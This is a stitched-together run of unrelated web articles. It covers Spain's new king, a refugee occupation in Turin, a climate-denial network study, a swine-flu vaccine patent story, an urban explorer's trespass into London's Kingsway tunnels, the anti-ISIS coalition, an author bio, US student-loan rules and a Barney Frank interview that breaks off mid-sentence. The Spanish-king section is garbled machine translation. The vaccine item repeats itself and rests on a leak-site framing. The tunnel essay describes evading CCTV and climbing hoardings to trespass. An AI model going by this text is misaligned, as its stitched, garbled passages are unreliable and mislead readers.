58 percent -- from $733.8 million to $1.1 billion. On Monday, McGinn, the City Council and labor leaders have scheduled a news conference to discuss potential labor savings. -random schedule, VI Felipe de Bourbon, became at midnight the new King of Spain, one hour after the removal of the national football team, the defending champion, the 2014 World Cup in Brazil. At 46, the young monarch was sworn in Madrid during a simple ceremony, during which he swore allegiance to the Constitution of 1978, the founding base of Spanish democracy.Modern and discreet. he succeeded his father Juan Carlos, who on Wednesday signed his abdication. His wife, Princess Letizia, a former television news presenter, becomes Queen of Spain the same occasion. Study Abroad, military training: “His goal, his only goal is to serve Spain. It was instilled in his heart, he must be the first servant, “said one day his mother, Queen Sofia. Its mission is to ensure the continuity of a parliamentary monarchy gradually introduced with the arrival on the throne in 1975, Juan Carlos, the hero of the democratic transition after the death of dictator Francisco Franco. Contested in the polls by a Spanish two in a country plagued by economic crisis and unemployment. Monarchy 12:05. Royal Parade new king meets a great success The decorated in the colors of Spain, a convertible sedan, a king physique which has just passed his first inauguration speech … Felipe VI through no fault this morning streets handover. The people cheered. 12 hours. Moment of communion with the Spaniards It declared a national holiday in Spain has allowed citizens to travel to attend the handover. Returning to the palace, the new king salutes the crowd during forty minutes to give a strong signal to his country. 11h, 55. Letizia smiling and happy this crazy woman temperament, divorced once, and daughter taxi driver, who has often been described as “ambitious” suggests his happiness to become Queen of Spain through its mine happy and relaxed. 11h 50. Letizia and Felipe VI ride in the convertible Rolls to greet the crowd Felipe VI standing in convertible sedan embodies the crown in sunny Madrid. A beautiful image to create enthusiasm. Favorable to the monarchy polls back for fifteen days. -The story of the ExMoi occupation in Turin, a solution by radicals and refugees to the problems of homelessness amongst migrants in a city full of empty buildings, and the reaction of racist organisations to the project. The story of ExMoi begins with two open wounds: the countless empty buildings in Turin, and the countless refugees living on Italian streets and in Italian train stations. Back in 2006, the Turin municipality and the national government spent over 140 million euros in building a new neighbourhood to host athletes for the Winter Olympic Games. This was in an area that once held the city’s biggest wholesale market (MOI – Mercato Ortofrutticolo all’Ingrosso). Designed by international architects and built according to the latest ecological and sustainable design criteria, the Olympic Village was finished in 20 months. It was used for around 16 days and left mostly empty after the Games ended. Little by little, the regional government has sold off some of the buildings; some have been converted into student housing and a youth hostel. At the same time, serious structural problems have emerged, revealing the poor quality of the buildings: as a consequence, no-one wants to invest in them. The potential for regenerating the deprived Lingotto area has been squandered. Four buildings were sold off to a private holding (35% owned by the city, the rest by Pirelli and the Intesa San Paolo bank) and left empty for seven years. Even though no official investigation has been carried out, many claim that the Mafia was involved in the construction work (as has been proved the case in many other public tenders for public housing and private buildings). Many believe that quick and shoddy building for money laundering purposes is the reason for structural and other problems (the concrete is breaking up, the solar panels have never worked, countless minor pieces of heating insulation and pipework were never finished, and the paint is peeling off). In the meantime, between 2011 and 2013, a steady stream of refugees continued to arrive in Italy. These asylum seekers were able to benefit from the ENA (North Africa Emergency Plan), an Italian government comprehensive integration project to tackle the humanitarian crisis following the turmoil in North Africa and the war in Libya. While actively supporting the Libyan war, the Italian government was unable to host the 30,000 ENA refugees properly. This programme reinforced the SPRAR project (Services for the Protection of Asylum Seekers and Refugees), providing funds to support the refugees’ insertion into training placements and the labour market as well as providing access to public healthcare and to dignified shelter. These projects were lacking in many ways: they failed to teach Italian, many were set in distant locations, no social integration or any understanding of Italian bureaucracy was provided, and job training just did not take place. Some locations were simply hotels or other facilities where the refugees were forced to stay with nothing to do. The ENA ended abruptly and in March 2013 many refugees ended up on the street. Some refugees were in contact with local squatters and housing rights activists. Together, they decided to occupy the ExMoi buildings in the former Olympic Village and on 30 March 2013 about 300 refugees took part in the action. Currently around 800 people of over 26 different nationalities live at the ExMoi, in four different buildings. This is the largest, most stable and important occupation by and for refugees that has ever taken place in Italy. On 23 May 2014 UNHCR reported that “thousands of refugees are forced to live in empty buildings in the main Italian cities like Rome, Milan and Turin, due to the lack and insufficiency of the projects.” The ExMoi is a prime example of this. The Refugees and Migrants Solidarity Committee is a group of volunteers which includes students, migrants, committed citizens and social activists. It is linked politically to two autonomist squats in the city, CSOAs Askatasuna and Gabrio, is also supported by various local associations and the local church, and is connected to the national grassroots housing movement. The Committee has been supporting the ExMoi occupation with the aim of providing refugees with housing after they were abandoned by the government. Since the occupation, the Committee has provided medical, language and legal care, created a school on the premises, and co-ordinated the distribution of food, furniture and other basic supplies. This is a significant development but not without precedent in Turin. Refugees were squatting in the city long before the ExMoi occupation. The movement started in 2007 with refugees from Darfur and there are currently at least eight occupied buildings for refugees (among 27 with other housing or political aims). Together, these buildings are home to more than 1,000 people. An eight-month-long political battle, begun by refugees and the Committee, has included various demonstrations and temporary blockades of public offices in order to get legal permanent residency (Residenza) for the refugees. Permanent residency grants access to all social and health services, and (for children) to school. It is necessary to renew the Permesso di soggiorno (permission to stay) which all refugees require in order to stay in Italy. It allow refugees to have a driving licence and legal job contracts. At long last, the Turin municipality granted all refugees permanent residency which gives them access to public healthcare and allows them to sign up with the employment agency. It does not, though, grant access to social services (which is discriminatory, according to Italian legislation). In early 2014 the Committee supported another occupation. A five-storey building was occupied, following the overcrowding of the ExMoi building complex. It currently hosts around 60 people. The internal yard has been converted into a vegetable garden run by the residents, and there is also a self-managed bike repair workshop. Formerly a nursing home managed by the local Catholic parish, today the building is managed by its residents, who take most decisions via a weekly assembly/meeting. Ownership remains in the hands of the Church, however, which has decided to form a refugee project in order to legalise the building’s status. Meanwhile the ExMoi occupation lives on. Many among the refugees are families (15% of the inhabitants are women and more than 30 children under 10 live there), some have found jobs and continue living there to support their friends. Many people have not been able to find a proper job but survive by selling metal or other materials found in rubbish bins. A community has somehow been created, with a mix of ethnic groups living peacefully together. Although there have been some minor personal clashes, life goes on, even if the structural problems make everyday living challenging: water pours from some ceilings, the electricity system cuts out, and only half of the apartments have hot water, not to mention the lack of any heating system. Despite all this, the refugees and the Committee have managed to keep ExMoi clean and working, repairing the worst problems in three out of four buildings. Unfortunately, a wave of racist reaction from the usual suspects (Lega Nord, Fratelli d’Italia and Forza Italia) has managed to destabilise the situation. These parties have joined together to create a political campaign with the aim of forcing the municipality to evict the residents, who they call “criminals” and “illegal immigrants”. Through contacts in the Turin municipality, they arranged an “institutional visit to check the situation”. Following negotiation with ExMoi, this was cancelled but a right-wing politician decided to come anyway, before being shown the door by the refugees. The far-right groups then held a racist demonstration in the area in December 2013, attended by around 50 people, mostly from Gioventù Nazionale, the youth wing of Fratelli d’Italia. They have now invited the head of Lega Nord, Matteo Salvini, well known for his racist statements and his hatred of social movements and immigrants. Thankfully, nothing has come of this. So far. Finally, in December 2014, a judge signed an authorisation order to evict the residents. It usually takes a long time for an order to lead to an actual eviction but the news made the papers immediately and right-wing parties are exerting pressure for an eviction to take place. It is highly unlikely that the municipality will use the police to evict the refugees, although this has happened in other places. In this case, both police and judges would like a peaceful solution, especially because of the large number of residents involved. It seems that the Mayor of Turin (Fassino, Democratic Party) will ask the national government for exceptional funding. The Mayor is also the president of ANCI, the association of Italian local councils, and has a direct channel to the prime minister, Matteo Renzi. This situation could have serious repercussions for Renzi and the PD. The experience of the 2007 Darfur refugees indicates how the institutions are likely to act: ask for funding, offer a legal temporary solution to those who accept, force out those who do not comply. It is worth mentioning that the police are both the authority that has to perform the eviction and acquire all possible information to perform it, and also the authority in charge of renewing the visas the refugees need (most of those living at ExMoi have humanitarian one-year visas, which are very hard to renew). The solution offered by the local government is quite clear: get millions of euros from national government, perform the eviction by any means, give the money to a well known association already handling refugee projects, give the association some breathing space with the funds, let the projects run for three to 12 months and then, once the money has run out and the story is no longer newsworthy, kick the refugees out again. (The associations which handle refugee projects tend to be linked to political parties or to the Catholic church. They include those recently implicated in the ongoing “Capital Mafia” scandal.) In the end, money comes and goes, not into new solutions but into this well-established system, a system which is certainly not improving matters for refugees. The existence of ExMoi is testament to that. The process will take some time to work through, due to the large size of ExMoi. Meanwhile, the right-wing parties will have an easy target for the next elections and will keep on pushing for the harshest punitive measures. The refugees and the supporting Committee know this, and most are willing to stay and resist. In the months approaching the second anniversary of the occupation the refugees will have to weigh up the offer, if there is one, and make a very difficult decision. For more information, see the original article here. -Thanks to a recent poll from ABC News and the Washington Post, we know that nearly two-thirds of American adults think global warming is “a serious problem facing the country.” And now, thanks to a study published in the journal Nature Climate Change (full study available at this link), we know exactly how many people are out there taking money from dirty energy interests to try and confuse Americans about climate changeto derail overdue action and protect the fossil fuel industries' profits. Justin Farrell, a professor of sociology at Yale’s School of Forestry & Environmental Studies and the author of the report, studied both the institutional and social network structure of the climate denier movement and found that there are some 4,556 individuals with ties to 164 organizations that are involved in pushing anti-climate science views on the public. “The individuals in this bipartite network include interlocking board members, as well as many more informal and overlapping social, political, economic and scientific ties,” Farrell wrote in the report. “The organizations include a complex network of think tanks, foundations, public relations firms, trade associations, and ad hoc groups.” Farrell notes that while funding from ExxonMobil and the Koch family foundations have notoriously played a part in building the climate denial movement, there was very little empirical evidence demonstrating exactly how much influence these corporate benefactors had on the actual output of climate deniers and, in turn, how much they affected what politicians and other decisionmakers were saying about climate change. So Farrell studied all of the written and verbal texts relating to climate change produced between 1993 and 2013 by climate denial organizations (40,785 documents comprising nearly 40 million words), as well as any mention of global warming and climate science by three major news channels (14,943 documents), every US president (1,930 documents) and the US Congress (7,786 documents). He focused on Exxon and the Koch Brothers’ family foundations because, he writes, they are “reliable indicators of a much larger effort of corporate lobbying in the climate change counter-movement.” What Farrell found was that organizations taking funds from “elite” corporate funders of climate denial like Exxon and the Koch Brothers — groups like the CATO Institute, the Heritage Foundation, and the Heartland Institute — “have greater influence over flows of resources, communication, and the production of contrarian information” than other denial groups. After performing a sophisticated semantic analysis, Farrell was able to show that climate denial organizations with ties to those two major funders were more successful at getting their viewpoint echoed in national news media. Presidential speeches and debate on the floor of Congress showed less of an impact. According to Bloomberg, Robert Brulle, a sociology professor at Drexel University who has conducted similar research but was not involved in the Nature Climate Change study, said that Farrell’s findings beg a very obvious question: “Why is the media picking up and promulgating the central themes of climate misinformation?” That is very similar to the questions posed by DeSmog's executive director Brendan DeMelle in his coverage of Justin Farrell's other recent study on this issue: Research Confirms ExxonMobil, Koch-funded Climate Denial Echo Chamber Polluted Mainstream Media. DeMelle listed three questions for media outlets to ponder: Will this study, published in a highly authoritative journal, finally compel the newsrooms and boardrooms of the traditional media to take responsibility to undo some of the damage done by their complicity in spreading fossil fuel industry-funded misinformation? Will false balance — quoting a distinguished climate scientist and then speed-dialing Pat Michaels at the Cato Institute for an opposing quote — finally stop? Will editors commit to serving as referees to ensure the same industry PR pollution isn’t published any longer? Image credit: P.WOLMUTH/REPORT DIGITAL-REA/Redux -By By Andrew Moran Jul 19, 2009 in Health In recent preliminary reports published on the internet, Baxter Healthcare Corporation applied for a patent for the vaccine that would immunize the H1N1 Swine Flu. After the application was leaked on the World Wide Web by a United Kingdom publication, justoneclickgroup, it showed that the company also applied for patents to other diseases: “In particular preferred embodiments the composition orvaccine comprises more than one antigen…..such as influenza A and influenza B in particular selected from of one or more of the human H1N1, H2N2, H3N2, H5N1, H7N7, H1N2, H9N2, H7N2, H7N3, H10N7 subtypes, of the pig flu H1N1, H1N2, H3N1 and H3N2 subtypes, of the dog or horse flu H7N7, H3N8 subtypes or of the avian H5N1, H7N2, H1N7, H7N3, H13N6, H5N9, H11N6, H3N8, H9N2, H5N2, H4N8, H10N7, H2N2, H8N4, H14N5, H6N5, H12N5 subtypes.” Head of Virology at Baxter’s Austrian subsidiary Otfried Kistner was part of the Austrian-based team that applied for the patent for the H1N1 Swine Flu on August 28, 2007. Many countries are ordering vaccinations for the recently declared pandemic. Some countries are even making it In August 2007, Baxter Healthcare Corporation, the company developing the swine flu vaccination, applied for a patent on many vaccines including H1N1 Swine Flu After the application was leaked on the World Wide Web by a United Kingdom publication, justoneclickgroup, it showed that the company also applied for patents to other diseases:“In particular preferred embodiments the composition orvaccine comprises more than one antigen…..such as influenza A and influenza B in particular selected from of one or more of the human H1N1, H2N2, H3N2, H5N1, H7N7, H1N2, H9N2, H7N2, H7N3, H10N7 subtypes, of the pig flu H1N1, H1N2, H3N1 and H3N2 subtypes, of the dog or horse flu H7N7, H3N8 subtypes or of the avian H5N1, H7N2, H1N7, H7N3, H13N6, H5N9, H11N6, H3N8, H9N2, H5N2, H4N8, H10N7, H2N2, H8N4, H14N5, H6N5, H12N5 subtypes.”Head of Virology at Baxter’s Austrian subsidiary Otfried Kistner was part of the Austrian-based team that applied for the patent for the H1N1 Swine Flu on August 28, 2007.Many countries are ordering vaccinations for the recently declared pandemic. Some countries are even making it mandatory now . However, since the fifty countries have ordered the vaccines , Baxter has declared that it cannot accept any more requests. Baxter Spokesman Chris Bona said, "At this time we're not in a position to take additional orders." More about Swine flu, Vaccinations, Baxter healthcare group swine flu vaccinations baxter healthcare gr... -At 2am on a cold winter’s night in London last year I was loitering in the shadows on Furnival Street near Chancery Lane tube station with a veteran urban explorer called Lucy Sparrow. Across the street was a six-storey building with scaffolding haphazardly arranged on its facade, pinioned by a large blue wooden hoarding and an aluminium sign reading: “Caution - deep manhole. Do not enter.” Our fingers were going numb in the cold as we waited for a black cab parked at the end of the street to leave. It looked like he was taking a break, listening to a late-night radio show, but after what felt like hours he finally clicked on his lights and pulled away. We withdrew into the darkness as he drove past. When the street was empty, we sauntered across arm-in-arm – just another pair of late-night lovers out on the piss. Out of sight of a nearby CCTV camera I crouched down, interlaced my fingers and boosted Lucy over the wooden hoarding so she could quietly open an emergency fire door from the other side and let me in. The whole performance was over in a blink. Twenty minutes later, a late-night rambler might pass and have no clue that we were 60m under their feet, running through miles of empty tunnels in what was once Britain’s deepest telephone exchange. Facebook Twitter Pinterest Kingsway Telephone Exchange was built as a second world war air-raid shelter I am a geographer interested in what is not on maps. Over the past six years I have spent much of my time sneaking into places closed to public access as a part of a long-term research project on urban exploration. Urban explorers – who now number in the thousands across the globe – access neglected, forgotten, closed and hidden areas in cities. Tagging along with some of the most dedicated and skilled urban explorers in the world, I have trespassed into countless abandoned buildings and subterranean tunnel systems and scaled prominent skyscrapers in dozens of cities without permission - including the Shard back in 2012, before the far more daring external summit by Greenpeace activists the following year. Explorations behind the scenes show us that a city is a beautifully threaded tapestry of wires, pipes and rails There is attentiveness to time in everything urban explorers do: from a considered historic appreciation of derelict remains, to knowing the window of opportunity when one can scale a construction crane over the City – explorers recognise everything is temporary. Not long into my research, I was told by a French explorer that “ruins are just like construction sites because they reveal the city as it really is – a place of constant change”. Though ruins and construction sites morph at a different rate, he argued, they both hint that the city we pass through every day requires careful and dedicated maintenance to preserve the urban stasis we all take for granted. There is also attentiveness to space. Victorian Londoners used to tour urban infrastructure, including sewage pumping stations, curious to know how it all worked. Far fewer people today think about what happens where they flush the toilet, make a phone call, or throw something in the bin - what kind of process that triggers and what sort of physical spaces are required to make those things possible. As Alan Weisman made clear in his book The World Without Us, the time it would take for the city to begin to break down and deteriorate if we stopped maintaining it is incredibly short. Facebook Twitter Pinterest The River Tyburn flows in underground culverts and sewers for its entire length from Hampstead to the Thames The photography of hidden places that explorers undertake – a practice which is quickly developing its own particular aesthetic sensibility – is an attempt to create a visual mark of the present, with reference to what came before, what will come after, and how it is all connected through us. Explorations behind the scenes show us that a city is not a collection of isolated locations but a beautifully and delicately threaded tapestry of wires, pipes and rails. I’ve experienced many incredible things tagging along on missions into the forbidden city, and as much as I might treasure memories of watching sunsets from the roofs of council blocks or waking up on top of bridges, it is undercity London that most piques my interest. The tangle of tunnels that keeps the city ticking are vast, diverse in function and undoubtedly the most difficult in the world to access, this being the city of paranoia and all. The urban exploration crew I had worked with, the London Consolidation Crew or LCC, had long graduated from ruins and skyscrapers – it was the city in the city they were after, the secrets buried deep underground where the line between construction site and ruin is very thin indeed. The Kingsway Telephone Exchange was the crème de la crème, more coveted even than abandoned Tube stations or possibly even the forgotten Post Office railway we accessed in 2011. Facebook Twitter Pinterest Kingsway Telephone Exchange contained a bar for workers on their off-hours, 60m below the London streets When I walk the city now, I can’t help but imagine it vertically as well as horizontally Kingsway was originally built as a second world war air-raid shelter under Chancery Lane. These deep level shelters were, at one time, connected to the Tube and citizens would have undoubtedly taken refuge here during Luftwaffe bombing runs. In 1949 the tunnels were sold to the General Post Office where they became the termination for the first submarine transatlantic phone cable – the £120m TAT1 project. The system, meant to protect the vital connective tissue of the city in the event of terror-from-the-air (including nuclear attack), stretched for miles. It only had three surface entrances and contained a bar for workers on their off-hours, rumoured to be the deepest in the UK at 60m below the street. Although the government employed a host of people to maintain the tunnels, Kingsway was a spatial secret of state - part a trio of the most secure and sensitive telephone exchanges in Britain, along with the Anchor Exchange in Birmingham and the Guardian Exchange in Manchester. The conversion of the air-raid shelter into the Kingsway Telephone Exchange was undertaken secretly by the government. In 1950 the tunnels suddenly vanished from the map, as did a big chunk of taxpayer money used to retrofit them. However, as the journalist Duncan Campbell wrote in his book War Plan UK, “the secrecy of the new government project did not last long - a report of the ‘Secret Network of Tunnels’ appeared on the front page of the Daily Express in September 1951.” The Express later published a second article suggesting new networks were being dug under Whitehall – what would eventually become subterranean military citadels, connected by tunnels not on any map of underground London, even today. The Cabinet Office called a meeting with MI5, GPO employees and Ministry of Works officials to discuss their options for suppressing the Daily Express or leaking counter-information about the tunnels. Campbell writes: The minutes of the secret committee, known only as MISC 379, observed: ‘It would be embarrassing to the government if the public got the impression that deep shelters were being constructed. Either the public would think that the government were out to protect their own skins and those of their immediate servants; or the public would assume that the shelters were intended for public use in time of war and would be disappointed when they found they were not. Word of these tunnels systematically disappeared from the public eye. Then, incredibly, in 1980 the ever-tenacious Campbell – equipped with a bicycle and a camera - gained access to them and explored the entirety of the system. He published his explorations, including photos, in the New Statesman. The GPO suggested the explorations were fake and that the photos of the tunnels had been made in a studio - which obviously wasn’t the case because Campbell relayed access details for the tunnels which, 30 years later, got us in. Facebook Twitter Pinterest High-voltage electricity cables under central London After climbing 60m down a set of alternating ladders in a long, vertical metal cage, we emerged into a set of tunnels that smelled reassuringly neglected. Like a post-apocalyptic game show, we suddenly had to make a choice between three tunnel entrances to the left, right and straight ahead. It turned out it didn’t really matter which we entered, they all linked back on each other in the end. Once we had circled back, we were sure we were alone and had the run of the tunnels all night. We found the bar, the switchboard, medical facilities, power control panels and more. Two things really struck me while we were in there. First, the electricity was on wherever we went. I couldn’t help but wonder whose job it was to change the bulbs in the (no-longer-so) secret subterranean telephone exchange. Second, the tunnels, in the middle of winter, were a cosy hoodie temperature. It made me think about how all this space was being wasted, space that was built with taxpayer money. I thought about Campbell’s determination over 30 years ago to make clear what was being spent by the government and the lengths he was willing to go to to reveal what was still a state secret and the way he insisted that the government should be held accountable for the construction of this bizarre underworld. Battles over space are nothing new in London of course – urban space is a continually contested place Today, we’ve been so inculcated with fear and distracted by obligations and consumer junk, we can’t even be bothered to ask why numerous miles of warm, fluorescently lit tunnels under Chancery Lane are laying mothballed while people with no homes freeze to death on the streets above them – forced to sleep in hypothermic conditions by anti-homeless spikes installed on ledges outside shops, luxury flats and offices. Many of us have a sense that cities are being closed to us, but we find it difficult to articulate how or why; we simply feel we’re losing control of things in some fundamental way. Battles over space are nothing new in London of course: from private Georgian squares in the 18th century to the South Bank Undercroft in the 21st, urban space is a continually contested place. But these days we seem less inclined to stand up to spatial inequality or obstructive behaviour over the release of information. Facebook Twitter Pinterest A huge disused water reservoir under Finsbury Park in north London There is, perhaps, a sense that the battle is lost; that it is not worth fighting any more in a climate where we are all being monitored. New surveillance technologies or increasing corporate control of space are not the most worrying developments of our time, however – the biggest concern is growing apathy. So before you dismiss urban exploration as a weird fad – or mark it as just another interesting tab in your flooded browser to look at later – be aware that these explorers risked death and imprisonment to bring you these photos and that they insist it was worth it, because if we don’t even know these spaces exist we can hardly have a public conversation about what to do with them. Urban exploration carries on the important work of exploratory journalism; it spreads stories that help us perceive worlds other than the ones presented to us, and it gives us an alternative where one has not been offered. Urban exploration is an apathy killer. As the geographer David Harvey wrote, the freedom to make and remake our cities and ourselves is one of the most precious and neglected of our human rights. I don’t think I’m overstating the case when I say that it’s vital to the maintenance of what few rights to place remain to continually make transparent and subvert the boundaries that are constantly being circumscribed around our bodies and imaginations. Rather than condemning the system, urban explorers will insist that we must simply carry on exploring and imagining, regardless of those constraints. If we want to live in cities replete with citizens rather than inhabitants, we must encourage exploration. Facebook Twitter Pinterest Aldwych Underground station (which opened as the Strand in 1907) closed in 1994 Being an urban explorer has been a wonderful lesson in geography. I’ve learned about how people build relationships to places; how space is surveilled, controlled and regulated; how the city is built to not just influence our behaviour but to actually condition the way we think about what is ethical, right and even possible. Although it was chasing the story of urban exploration that got me involved in the first instance, it is the way urban exploration makes boundaries visible and keeps me sharp, paying attention to everything and continually calling me to action, which holds my interest as a researcher. When I walk the city now, I can’t help but imagine it vertically as well as horizontally. Most of the tourists walking at street level – photographing Parliament and clippers cruising the Thames – haven’t a clue that there is a snarl of tunnels underneath their feet, many of which aren’t on any map. Perhaps it’s right that local knowledge should reside with locals; this is our city after all. We, like Campbell, are engaged citizens acutely aware of what’s going on around us and determined to partake in the conversation about what constitutes the city. Urban explorers want to know what is being built, by whom, with what funds and to what ends; they want to know what has been forgotten and left behind and how that space might be re-imagined with the public interest in mind. These expectations – like the expectation that people will explore whatever environment they happen to live in – are threaded with common sense throughout, unlike many of the policy decisions that have led to our cities increasingly become a sight to be seen rather than a place to participate in. Through these photos of the London you never knew, I invite you to expand your vertical imagination of the city into subterranea: delve into the sewers, utility tunnels, abandoned Tube stations, secret bunkers and finally into the new depths being bored by tunnelling machines at this very moment. Although much of what is here is, I believe, an important piece of documentation, it is also more importantly an invitation for you to increase your understanding of what is happening under your feet right now, because the ongoing conversation about public space does not stop at the manhole cover. Bradley Garrett is a geographer at the University of Southampton and author of Explore Everything: Place Hacking the City. His new book, Subterranean London: Cracking the Capital, was published in October 2014 -U.S. Announces Coalition To Fight Against The Islamic State The United States says it has formed a coalition of 10 countries to help in the fight against the Islamic State in Iraq. The group consists of the United States plus Britain, France, Germany, Canada, Australia, Turkey, Italy, Poland and Denmark. The New York Times reports that the coalition will act in two ways: It will support allies fighting against the Islamic State on the ground, and it will continue attacking the Sunni militants using air strikes. Reuters reports that in a meeting on the sidelines of the NATO summit in Wales, Secretary of State John Kerry said the strategy for the coalition was to contain, not destroy, the Islamic State, also known as ISIS or ISIL. "We need to attack them in ways that prevent them from taking over territory, to bolster the Iraqi security forces and others in the region who are prepared to take them on, without committing troops of our own," Kerry said, according to Reuters. "Obviously I think that's a red line for everybody here: no boots on the ground." The Times adds: "American officials are hoping to expand the coalition against ISIS to include as many countries as possible, particularly in the region. Obama administration officials said privately that in addition to the countries that attended the meeting Friday morning, the United States was hoping to get quiet intelligence help about the Sunni militants from Jordan, whose leader, King Abdullah, was participating in the NATO summit. "United States officials said they also expected Saudi Arabia to provide money and aid for moderate Syrian rebel groups. Yousef al-Otaiba, the ambassador of the United Arab Emirates to the United States, said in a statement earlier this week that the United Arab Emirates stood ready to join the fight against ISIS. 'No one has more at stake than the U.A.E. and other moderate countries in the region that have rejected the regressive Islamist creed and embraced a different, forward-looking path,' the ambassador said. The Emiratis, he said, are 'ready to join the international community in an urgent, coordinated and sustained effort to confront a threat that will, if unchecked, have global ramifications for decades to come.' " The Islamic State, if you remember, caught the international community's attention when it began a brazen and lightning-fast attack on Iraq over the summer. Since then, the group has overtaken several Iraqi cities and has taken responsibility for the beheading of two American journalists. As the Islamic State moved further into Iraq, the United States began an air campaign against the group. -Patrick Rothfuss Goodreads Author Born Website Twitter Genre Member Since February 2008 It all began when Pat Rothfuss was born to a marvelous set of parents. Throughout his formative years they encouraged him to do his best, gave him good advice, and were no doubt appropriately dismayed when he failed to live up to his full potential. In high-school Pat was something of a class clown. His hobbies included reading a novel or two a day and giving relationship advice to all his friends despite the fact that he had never so much as kissed a girl. He also role-played and wrote terrible stories about elves. He was pretty much a geek. Most of Pat's adult life has been spent in the University Wisconsin Stevens Point. In 1991 he started college in order to pursue a career in chemical engineering, then he considered clinical psychology. It all began when Pat Rothfuss was born to a marvelous set of parents. Throughout his formative years they encouraged him to do his best, gave him good advice, and were no doubt appropriately dismayed when he failed to live up to his full potential. In high-school Pat was something of a class clown. His hobbies included reading a novel or two a day and giving relationship advice to all his friends despite the fact that he had never so much as kissed a girl. He also role-played and wrote terrible stories about elves. He was pretty much a geek. Most of Pat's adult life has been spent in the University Wisconsin Stevens Point. In 1991 he started college in order to pursue a career in chemical engineering, then he considered clinical psychology. In 1993 he quit pretending he knew what he wanted to do with his life, changed his major to "undecided," and proceeded to study whatever amused him. He also began writing a book.... For the next seven years Pat studied anthropology, philosophy, eastern religions, history, alchemy, parapsychology, literature, and writing. He studied six different martial arts, practiced improv comedy, learned how to pick locks, and became a skilled lover of women. He also began writing a satirical advice column which he continues to this day: The College Survivial Guide. Through all of this he continued to work on his novel. In 2000 Pat went to grad school for English literature. Grad school sucked and Pat hated it. However, Pat learned that he loved to teach. He left in 2002 with his masters degree, shaking the dust from his feet and vowing never to return. During this period of time his novel was rejected by roughly every agent in the known universe. Now Pat teaches half-time at his old school as an assistant-sub-lecturer. He is underpaid but generally left alone to do as he sees fit with his classes. He is advisor for the college feminists, the fencing club, and, oddly enough, a sorority. He still roll-plays occasionally, but now he does it in an extremely sophisticated, debonair way. Through a series of lucky breaks, he has wound up with the best agent and editor imaginable, and the first book of his trilogy has been published under the title "The Name of the Wind." Though it has only been out since April 2007, it has already been sold in 26 foreign countries and won several awards. Pat has been described as "a rough, earthy iconoclast with a pipeline to the divine in everyone's subconscious." But honestly, that person was pretty drunk at the time, so you might want to take it with a grain of salt. -Education Secretary Betsy DeVos on Wednesday announced the Department of Education would pause two rules created by former President Barack Obama's administration that would protect student borrowers and imposed requirements on for-profit colleges. Photo by Erin Schaff/UPI | License Photo June 15 (UPI) -- The Department of Education has paused two rules created by former President Barack Obama's administration to protect student borrowers and impose requirements on for-profit colleges. "The department intends to develop fair, effective and improved regulations to protect individual borrowers from fraud, ensure accountability across institutions of higher education and protect taxpayers," the Department of Education said in a statement on Wednesday. One rule, the Gainful Employment regulation, required for-profit colleges and certificate programs at non-profit colleges -- under the threat of withholding federal aid -- to show that a student's education in those institutions would help those students receive "gainful employment." The second rule, the Borrower Defense to Repayment regulation, clarified how student borrowers who were defrauded or misled by their college could apply for loan forgiveness and also created a fast-track for students who apply for forgiveness in case their college closed. The rules were to take effect July 1 but the Department of Education under Betsy DeVos said it would delay implementation upon further review. The Obama-era rules were first proposed amid the collapse of the Corinthian Colleges Inc. for-profit institution. "My first priority is to protect students," DeVos said. "Fraud, especially fraud committed by a school, is simply unacceptable. Unfortunately, last year's rulemaking effort missed an opportunity to get it right." DeVos said her department would uphold processing claims already filed by 16,000 student borrowers. Some Democratic members of Congress criticized the move by the department. "Delaying this important pathway to debt relief would harm thousands of students, many with crushing levels of student loan debt and few meaningful job prospects," Sens. Elizabeth Warren, Patty Murray, Sherrod Brown and Dick Durbin wrote in a statement. -Barney Frank, long known as America’s crankiest liberal, is actually not feeling too bad. Frank retired from Congress in 2012, after three decades of representing Massachusetts’s Fourth District, then wrote a memoir, became a director of the Signature Bank, and took his curmudgeon act on the road as a lecturer. But the election of Donald Trump has not shattered his confidence about the nation’s political future. “This was not a wipeout. People will tend to overinterpret it. Remember, we got more votes than they did,” he said, in an interview this week. “And there is one silver lining for us. They have succeeded in blaming us for everything that goes wrong in the world. From now on, anything bad that happens is on them. They control the whole government—White House, Senate, House, Supreme Court. Some people think that maybe Trump can somehow evade that responsibility, but I think it will be hard to blame it on some Mexicans when something goes wrong.” Still, Frank believes that politics did change in some fundamental ways with Trump’s victory. “Two major rules of American politics disappeared this year,” he said. “The first was that you had to argue that America has to be strong and assertive worldwide. Trump won while rejecting that view. And the second change was that you should only talk about growth for everyone and avoid talk of class warfare. The fundamental reason that Trump won is the anger in America and other developed countries at the unfairness of the distribution of wealth. It’s been building and building, and all of a sudden it broke through.” In particular, Frank believes that Bernie Sanders’s primary campaign helped Trump’s portrayal of himself as a populist succeed in the fall. “Sanders wounded her badly,” Frank said, referring to Hillary Clinton. “His differing with her on the issues was entirely reasonable, but he’s the one who sold the argument that she was corrupt and bought by Wall Street. He had one ad which I called McCarthyite—where he essentially said Goldman Sachs got off so easy because they paid Clinton for speeches. Sanders helped Trump become the guy who says we are tired of rich guys getting away with everything. Sanders helped persuade people that she is on the wrong side of that issue.” Then, too, of course, there were the e-mails and the last-minute intervention of James Comey, the F.B.I. director. “If she hadn’t been using that e-mail system, she would have won, and Comey exacerbated the problem,” Frank said. Frank is fond of the adage, attributed to Harold Macmillan, the former Prime Minister of the United Kingdom, that the future of politics is determined by “events, my dear boy, events.” The success or failure of Trump’s Presidency will be the critical factor in the future of the Democratic Party. “If he delivers somehow and increases employment among the white working class, and increases prosperity, then we”—the Party, that is—“have a political problem,” Frank said. But since Frank believes that Trump’s program will not yield these kinds of successes, he feels that Democrats will have room to criticize and propose alternatives. In some respects, Frank believes that the Trump campaign may help the Democrats produce an updated and more appealing message. “Obama began to walk away from the idea that we have to be the leader of the free world,” Frank said. “Now it’s clear that we don’t have to be the leader of the free world and we don’t have to pay to be the leader of the free world.” That will open the door, Frank believes, to substantial reductions in military spending—on the order of a hundred and fifty to two hundred billion a year. “We could then use that money to offset some of the inequality in the economy. Reduce the age of access to Medicare to fifty-five. Raise the minimum wage. Put a lot of people to work on infrastructure.” His second idea for Democrats may be more controversial within the Party. “We need to be less absolutist on environmental issues, especially wetlands and endangered species,” he said. “We currently treat those issues as absolute bars to development, and they should not be absolute. They should be balances. I saw in my district how much anger these issues generate. Our current position is bad politics and bad public policy.” Frank does not believe, however, that Democrats should retreat on climate change. “Too much at stake on climate change to give way there,” he said. One part of Trump’s ascendancy reflects the great political success of Frank’s life. During Trump’s campaign, and in a recent interview on “60 Minutes,” the President-elect said that he regarded same-sex marriage 